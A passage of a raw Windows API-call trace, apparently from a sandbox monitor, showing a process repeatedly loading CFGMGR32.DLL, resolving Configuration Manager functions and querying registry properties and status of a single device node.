pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0203.652] free (_Block=0x196ef0d12d0) [0203.653] malloc (_Size=0x48) returned 0x196ef0fb860 [0203.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5a3ed3e7, dwHighDateTime=0x1d9eb0c)) [0203.653] SetEvent (hEvent=0x248) returned 1 [0203.656] malloc (_Size=0x18) returned 0x196ef0d1d00 [0203.656] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0203.656] free (_Block=0x196ef0d1d00) [0203.656] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856e60 [0203.656] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0203.656] SafeArrayGetLBound (in: psa=0x196ee7bf0a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0203.656] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0203.656] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0203.656] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0203.656] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0203.656] SafeArrayGetElemsize (psa=0x196ee7bf0a0) returned 0x8 [0203.657] SafeArrayGetElement (in: psa=0x196ee7bf0a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0203.657] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0203.658] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0203.659] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856e60) returned 1 [0203.659] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.659] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.663] malloc (_Size=0x18) returned 0x196ef0d20a0 [0203.663] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0203.663] malloc (_Size=0x62) returned 0x196ef0d06f0 [0203.663] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608) returned 0x0 [0203.664] free (_Block=0x196ef0d06f0) [0203.664] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0203.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5a3ed3e7, dwHighDateTime=0x1d9eb0c)) [0203.664] SetEvent (hEvent=0x248) returned 1 [0203.832] malloc (_Size=0x18) returned 0x196ef0d1f60 [0203.832] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0203.832] free (_Block=0x196ef0d1f60) [0203.832] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0203.833] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0203.833] free (_Block=0x196ef0d1ca0) [0203.833] malloc (_Size=0x18) returned 0x196ef0d1a80 [0203.833] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0203.833] free (_Block=0x196ef0d1a80) [0203.833] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855d60 [0203.833] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0203.833] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0203.833] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0203.833] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0203.833] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0203.833] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0203.833] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0203.834] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0203.834] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e850, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0203.834] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e858, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0203.835] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e860, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0203.836] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0203.836] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855d60) returned 1 [0203.837] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.837] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.841] malloc (_Size=0x18) returned 0x196ef0d2080 [0203.841] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.844] malloc (_Size=0x48) returned 0x196ef0fb270 [0203.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a5b7291, dwHighDateTime=0x1d9eb0c)) [0203.845] SetEvent (hEvent=0x248) returned 1 [0203.848] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.848] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.853] malloc (_Size=0x18) returned 0x196ef0d19c0 [0203.853] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.853] malloc (_Size=0x48) returned 0x196ef0fbb30 [0203.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a5b7291, dwHighDateTime=0x1d9eb0c)) [0203.853] SetEvent (hEvent=0x248) returned 1 [0203.858] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.858] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.863] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0203.863] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.863] malloc (_Size=0x48) returned 0x196ef0fc170 [0203.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a5dd411, dwHighDateTime=0x1d9eb0c)) [0203.864] SetEvent (hEvent=0x248) returned 1 [0203.868] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.868] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.983] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0203.983] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0203.984] malloc (_Size=0x48) returned 0x196ef0fc120 [0203.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a70e5e6, dwHighDateTime=0x1d9eb0c)) [0203.984] SetEvent (hEvent=0x248) returned 1 [0203.989] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.989] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.993] malloc (_Size=0x18) returned 0x196ef0d1de0 [0203.993] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.996] malloc (_Size=0x48) returned 0x196ef0fc030 [0203.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a70e5e6, dwHighDateTime=0x1d9eb0c)) [0203.996] SetEvent (hEvent=0x248) returned 1 [0204.000] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.000] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.004] malloc (_Size=0x18) returned 0x196ef0d1a80 [0204.004] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x36, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0204.004] malloc (_Size=0x48) returned 0x196ef0fc170 [0204.004] 